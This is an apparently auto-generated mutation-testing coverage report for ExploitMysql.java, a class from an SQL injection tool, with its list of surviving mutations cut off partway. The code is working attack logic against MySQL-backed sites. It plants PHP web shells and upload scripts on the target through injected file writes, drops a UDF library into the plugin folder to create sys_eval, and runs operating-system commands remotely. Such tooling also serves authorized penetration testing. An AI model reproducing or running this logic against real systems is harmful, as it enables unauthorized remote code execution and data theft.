ExploitMysql.java

1
package com.jsql.model.accessible.vendor;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ExploitMode;
6
import com.jsql.model.accessible.ResourceAccess;
7
import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8
import com.jsql.model.bean.database.MockElement;
9
import com.jsql.model.bean.util.Interaction;
10
import com.jsql.model.bean.util.Request;
11
import com.jsql.model.exception.JSqlException;
12
import com.jsql.model.exception.JSqlRuntimeException;
13
import com.jsql.model.injection.vendor.model.VendorYaml;
14
import com.jsql.model.suspendable.SuspendableGetRows;
15
import com.jsql.util.LogLevelUtil;
16
import com.jsql.util.StringUtil;
17
import org.apache.commons.codec.binary.Hex;
18
import org.apache.commons.lang3.RandomStringUtils;
19
import org.apache.commons.lang3.StringUtils;
20
import org.apache.logging.log4j.LogManager;
21
import org.apache.logging.log4j.Logger;
22
import org.yaml.snakeyaml.Yaml;
23
24
import java.io.File;
25
import java.io.FileInputStream;
26
import java.io.IOException;
27
import java.io.InputStream;
28
import java.net.URI;
29
import java.net.URISyntaxException;
30
import java.net.http.HttpResponse;
31
import java.nio.charset.StandardCharsets;
32
import java.nio.file.Files;
33
import java.nio.file.Path;
34
import java.nio.file.Paths;
35
import java.nio.file.StandardCopyOption;
36
import java.util.List;
37
import java.util.Objects;
38
import java.util.UUID;
39
import java.util.function.BiPredicate;
40
import java.util.function.BinaryOperator;
41
42
public class ExploitMysql {
43
44
    /**
45
     * Log4j logger sent to view.
46
     */
47
    private static final Logger LOGGER = LogManager.getRootLogger();
48
    public static final String NAME_TABLE = "temp";
49
    private final InjectionModel injectionModel;
50
    private final ModelYamlMysql modelYaml;
51
52
    private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
53
        try {
54 2 1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE
2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE
            return this.buildSysEval(nameLibraryRandom);
55
        } catch (JSqlException e) {
56
            throw new JSqlRuntimeException(e);
57
        }
58
    };
59
60
    public ExploitMysql(InjectionModel injectionModel) {
61
        this.injectionModel = injectionModel;
62
        var yaml = new Yaml();
63
        this.modelYaml = yaml.loadAs(
64
            injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
65
            ModelYamlMysql.class
66
        );
67
    }
68
69
    public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
70
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
71
72
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73
            var request = new Request();
74 1 1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
75 1 1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
            request.setParameters(urlSuccess);
76 1 1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
77 1 1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE
            return urlSuccess;
78
        };
79 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE
        return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
80
    }
81
82
    public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
83
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
84
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
85 2 1. lambda$createSql$2 : negated conditional → NO_COVERAGE
2. lambda$createSql$2 : negated conditional → NO_COVERAGE
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
86
                var request = new Request();
87 1 1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
                request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
88 1 1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
                request.setParameters(urlSuccess, username, password);
89 1 1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
                this.injectionModel.sendToViews(request);
90 1 1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE
                return urlSuccess;
91
            }
92
            return StringUtils.EMPTY;
93
        };
94
        var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
95 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
96
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
97
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
98
        }
99 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
100
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
101
            urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
102
        }
103 1 1. createSql : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(urlSuccess)) {
104
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
105
        }
106 1 1. createSql : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE
        return urlSuccess;
107
    }
108
109
    public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
110
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
111
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
112
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
113 1 1. lambda$createUpload$3 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
114
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
115
                } else {
116
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
117
                }
118
            } catch (InterruptedException e) {
119
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
120 1 1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
121
            } catch (IOException | JSqlException e) {
122
                throw new JSqlRuntimeException(e);
123
            }
124 1 1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE
            return urlSuccess;
125
        };
126
        this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
127
    }
128
129
    /**
130
     * Create shell on remote server
131
     * @param urlExploit  URL for the script (used for url rewriting)
132
     */
133
    public String create(
134
        String pathRemoteFolder,
135
        String urlExploit,
136
        String keyPropertyExploit,
137
        String nameExploit,
138
        BinaryOperator<String> biFuncGetRequest,
139
        String pathNetshareFolder,
140
        ExploitMode exploitMode
141
    ) throws JSqlException {
142 1 1. create : negated conditional → NO_COVERAGE
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
143 1 1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE
            return null;
144
        }
145
146
        String bodyExploit = StringUtil.base64Decode(
147
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
148
            )
149
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
150
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
151
152
        // outfile + binary: content corruption
153
        BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
154
            try {
155
                String resultInjection = this.confirm(pathFolder + nameFile);
156 2 1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE
2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE
                return resultInjection.contains(bodyExploit);
157
            } catch (JSqlException e) {
158
                throw new JSqlRuntimeException(e);
159
            }
160
        };
161
162 1 1. create : Replaced integer subtraction with addition → NO_COVERAGE
        var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
163
        String nameExploitValidated = StringUtils.EMPTY;
164
165 1 1. create : negated conditional → NO_COVERAGE
        if (exploitMode == ExploitMode.NETSHARE) {
166 1 1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyToShare → NO_COVERAGE
            ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
167
            nameExploitValidated = this.byNetshare(
168
                nbIndexesFound,
169
                pathNetshareFolder,
170
                nameExploit,
171
                pathRemoteFolder,
172
                biPredConfirm
173
            );
174 2 1. create : negated conditional → NO_COVERAGE
2. create : negated conditional → NO_COVERAGE
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
175
            nameExploitValidated = this.byQueryBody(
176
                nbIndexesFound,
177
                pathRemoteFolder,
178
                nameExploit,
179
                StringUtil.toHexChunks(bodyExploit.getBytes()),
180
                biPredConfirm
181
            );
182
        }
183 3 1. create : negated conditional → NO_COVERAGE
2. create : negated conditional → NO_COVERAGE
3. create : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
184
            var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
185 1 1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE
            this.byTable(
186
                StringUtil.toHexChunks(bodyExploit.getBytes()),
187
                pathRemoteFolder + nameExploitRandom
188
            );
189 1 1. create : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
190
                nameExploitValidated = nameExploitRandom;
191
            }
192
        }
193
194 1 1. create : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
195
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
196 1 1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE
            return null;
197
        }
198
        nameExploit = nameExploitValidated;
199
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
200
201 1 1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
202
    }
203
204
    public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
205
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
206
207 1 1. createUdf : negated conditional → NO_COVERAGE
        if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
208
            return;
209
        }
210
211 1 1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE
        var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
212
        var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
213 1 1. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(pathPlugin)) {
214
            throw new JSqlException("Incorrect plugin folder: path is empty");
215
        }
216
217
        String nameLibrary = this.getNameLibrary();
218
219
        pathPlugin = pathPlugin.replace("\\", "/");
220 1 1. createUdf : negated conditional → NO_COVERAGE
        if (!pathPlugin.endsWith("/")) {
221
            pathPlugin = String.format("%s%s", pathPlugin, "/");
222
        }
223
224 1 1. createUdf : negated conditional → NO_COVERAGE
        if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
225
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
226
        }
227
        String isSuccess = StringUtils.EMPTY;
228 1 1. createUdf : negated conditional → NO_COVERAGE
        if (exploitMode == ExploitMode.NETSHARE) {
229 1 1. createUdf : negated conditional → NO_COVERAGE
            if (!pathNetshareFolder.endsWith("\\")) {
230
                pathNetshareFolder += "\\";
231
            }
232 1 1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE
            ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
233
            isSuccess = this.byNetshare(
234
                nbIndexesFound,
235
                pathNetshareFolder,
236
                nameLibrary,
237
                pathPlugin,
238
                this.biPredCreateUdf
239
            );
240 2 1. createUdf : negated conditional → NO_COVERAGE
2. createUdf : negated conditional → NO_COVERAGE
        } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
241 1 1. createUdf : negated conditional → NO_COVERAGE
            if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
242
                LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
243
            }
244
            isSuccess = this.byQueryBody(
245
                nbIndexesFound,
246
                pathPlugin,
247
                nameLibrary,
248
                ExploitMysql.toHexChunks(nameLibrary),
249
                this.biPredCreateUdf
250
            );
251
        }
252 3 1. createUdf : negated conditional → NO_COVERAGE
2. createUdf : negated conditional → NO_COVERAGE
3. createUdf : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
253
            var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
254 1 1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE
            this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
255
            this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
256
        }
257
    }
258
259
    private String getNameLibrary() throws JSqlException {
260
        var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
261 1 1. getNameLibrary : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(versionOsMachine)) {
262
            throw new JSqlException("Incorrect remote machine: unknown system");
263
        }
264 2 1. getNameLibrary : negated conditional → NO_COVERAGE
2. getNameLibrary : negated conditional → NO_COVERAGE
        var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
265
        String nameLibrary;
266 1 1. getNameLibrary : negated conditional → NO_COVERAGE
        if (versionOsMachine.contains("64")) {
267 1 1. getNameLibrary : negated conditional → NO_COVERAGE
            nameLibrary = isWin ? "64.dll" : "64.so";
268
        } else {
269 1 1. getNameLibrary : negated conditional → NO_COVERAGE
            nameLibrary = isWin ? "32.dll" : "32.so";
270
        }
271 1 1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE
        return nameLibrary;
272
    }
273
274
    public String byQueryBody(
275
        int nbIndexesFound,
276
        String pathRemoteFolder,
277
        String nameExploit,
278
        List<String> hexChunks,
279
        BiPredicate<String,String> biPredConfirm
280
    ) {
281
        String nameExploitValidated = StringUtils.EMPTY;
282
        var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
283
284
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
285
        this.injectionModel.injectWithoutIndex(String.format(pattern,
286
            "union",
287
            "'',".repeat(nbIndexesFound),
288
            String.join(StringUtils.EMPTY, hexChunks),
289
            pathRemoteFolder + nameExploitRandom
290
        ), "body#union-dump");
291 1 1. byQueryBody : negated conditional → NO_COVERAGE
        if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
292
            nameExploitValidated = nameExploitRandom;
293
        }
294 1 1. byQueryBody : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
295
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
296
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
297
            this.injectionModel.injectWithoutIndex(String.format(pattern,
298
                ";",
299
                StringUtils.EMPTY,
300
                String.join(StringUtils.EMPTY, hexChunks),
301
                pathRemoteFolder + nameExploitRandom
302
            ), "body#stack-dump");
303 1 1. byQueryBody : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
304
                nameExploitValidated = nameExploitRandom;
305
            }
306
        }
307 1 1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE
        return nameExploitValidated;
308
    }
309
310
    public String byNetshare(
311
        int nbIndexesFound,
312
        String pathNetshareFolder,
313
        String nameExploit,
314
        String pathRemoteFolder,
315
        BiPredicate<String,String> biPredConfirm
316
    ) {
317
        String nameExploitValidated = StringUtils.EMPTY;
318
        var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
319
        var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
320
321
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
322
        var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
323
        this.injectionModel.injectWithoutIndex(String.format(pattern,
324
            "union",
325
            "'',".repeat(nbIndexesFound),
326
            pathShareEncoded + nameExploit,
327
            pathRemoteFolder + nameExploitRandom
328
        ), "netshare#union");
329 1 1. byNetshare : negated conditional → NO_COVERAGE
        if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
330
            nameExploitValidated = nameExploitRandom;
331
        }
332 1 1. byNetshare : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameExploitValidated)) {
333
            LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
334
            nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
335
            this.injectionModel.injectWithoutIndex(String.format(pattern,
336
                ";",
337
                StringUtils.EMPTY,
338
                pathShareEncoded + nameExploit,
339
                pathRemoteFolder + nameExploitRandom
340
            ), "netshare#stack");
341 1 1. byNetshare : negated conditional → NO_COVERAGE
            if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
342
                nameExploitValidated = nameExploitRandom;
343
            }
344
        }
345 1 1. byNetshare : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE
        return nameExploitValidated;
346
    }
347
348
    private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
349
        try {
350
            URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("exploit/mysql/" + nameLibrary)).toURI();
351
            Path originalPath = new File(original).toPath();
352
            Path copied = Paths.get(pathNetshare + nameLibrary);
353
            Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
354
        } catch (IOException | URISyntaxException e) {
355
            throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
356
        }
357
    }
358
359
    public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
360
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
361
        var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
362 2 1. byTable : negated conditional → NO_COVERAGE
2. byTable : negated conditional → NO_COVERAGE
        if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
363
            nameDatabase = "mysql";
364
        }
365
        var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
366
        var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
367
        this.injectionModel.injectWithoutIndex(String.format(
368
            this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
369
            nameSchemaTable
370
        ), ResourceAccess.TBL_DROP);
371
        var countResult = this.getCountTable(nameDatabase, nameTableRandom);
372 1 1. byTable : negated conditional → NO_COVERAGE
        if (!"0".equals(countResult)) {
373
            throw new JSqlException("Drop table failure: "+ countResult);
374
        }
375
        this.injectionModel.injectWithoutIndex(String.format(
376
            this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
377
            nameSchemaTable
378
        ), ResourceAccess.TBL_CREATE);
379
        countResult = this.getCountTable(nameDatabase, nameTableRandom);
380 1 1. byTable : negated conditional → NO_COVERAGE
        if (!"1".equals(countResult)) {
381
            throw new JSqlException("Create table failure: "+ countResult);
382
        }
383
        int indexChunk = 0;
384
        for (String chunk: bodyHexChunks) {
385 1 1. byTable : negated conditional → NO_COVERAGE
            if (indexChunk == 0) {
386
                this.injectionModel.injectWithoutIndex(String.format(
387
                    this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
388
                    nameSchemaTable,
389
                    chunk
390
                ), "tbl#init");
391
            } else {
392
                this.injectionModel.injectWithoutIndex(String.format(
393
                    this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
394
                    nameSchemaTable,
395
                    chunk
396
                ), ResourceAccess.TBL_FILL);
397
            }
398 1 1. byTable : Changed increment from 1 to -1 → NO_COVERAGE
            indexChunk++;
399
        }
400
        this.injectionModel.injectWithoutIndex(String.format(
401
            this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
402
            nameSchemaTable,
403
            pathRemoteFile
404
        ), ResourceAccess.TBL_DUMP);
405
    }
406
407
    private String getCountTable(String nameDatabase, String nameTableRandom) {
408
        try {
409 1 1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE
            return this.injectionModel.getResourceAccess().getResult(String.format(
410
                this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
411
                nameTableRandom,
412
                nameDatabase
413
            ), "tbl#check");
414
        } catch (JSqlException e) {
415 1 1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE
            return e.getMessage();  // error message then logged
416
        }
417
    }
418
419
    private boolean buildSysEval(String nameLibrary) throws JSqlException {
420
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
421
        this.injectionModel.injectWithoutIndex(String.format(
422
            this.modelYaml.getUdf().getAddFunction().getCreate(),
423
            nameLibrary
424
        ), "udf#function");
425
        var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
426 1 1. buildSysEval : negated conditional → NO_COVERAGE
        if (!confirm.contains("sys_eval")) {
427
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
428 1 1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE
            return false;
429
        }
430
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
431
432
        var request = new Request();
433 1 1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_MYSQL);
434 1 1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(null, null);
435 1 1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
436 1 1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE
        return true;
437
    }
438
439
    private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
440
        Path path = Paths.get(pathFile);
441
        try {
442
            Files.write(path, bodyExploit.getBytes());
443
        } catch (IOException e) {
444
            throw new JSqlException(e);
445
        }
446
    }
447
448
    public String confirm(String path) throws JSqlException {
449
        var sourcePage = new String[]{ StringUtils.EMPTY };
450 1 1. confirm : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(
451
            this.modelYaml.getFile().getRead().replace(
452
                VendorYaml.FILEPATH_HEX,
453
                Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
454
            ),
455
            sourcePage,
456
            false,
457
            1,
458
            MockElement.MOCK,
459
            "xplt#confirm-file"
460
        );
461
    }
462
463
    public String runRceCmd(String command, UUID uuidShell) {
464
        String result;
465
        try {
466
            result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
467
                this.modelYaml.getUdf().getRunCmd(),
468
                command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
469
            ), "udf#run-cmd") +"\n";
470
        } catch (JSqlException e) {
471
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
472
        }
473
        var request = new Request();
474 1 1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
475 1 1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(uuidShell, result);
476 1 1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
477 1 1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE
        return result;
478
    }
479
480
    private static List<String> toHexChunks(String filename) throws JSqlException {
481
        try {
482
            byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
483
                ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ filename +".cloak")
484
            ).readAllBytes();
485
            fileData = StringUtil.uncloak(fileData);
486 1 1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE
            return StringUtil.toHexChunks(fileData);
487
        } catch (IOException e) {
488
            throw new JSqlException(e);
489
        }
490
    }
491
492
    public ModelYamlMysql getModelYaml() {
493 1 1. getModelYaml : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE
        return this.modelYaml;
494
    }
495
}

Mutations

54

1.1
Location : lambda$new$0
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE

2.2
Location : lambda$new$0
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE

74

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

75

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

76

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

77

1.1
Location : lambda$createWeb$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE

79

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE

85

1.1
Location : lambda$createSql$2
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : lambda$createSql$2
Killed by : none
negated conditional → NO_COVERAGE

87

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

88

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

89

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

90

1.1
Location : lambda$createSql$2
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE

95

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

99

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

103

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

106

1.1
Location : createSql
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE

113

1.1
Location : lambda$createUpload$3
Killed by : none
negated conditional → NO_COVERAGE

120

1.1
Location : lambda$createUpload$3
Killed by : none
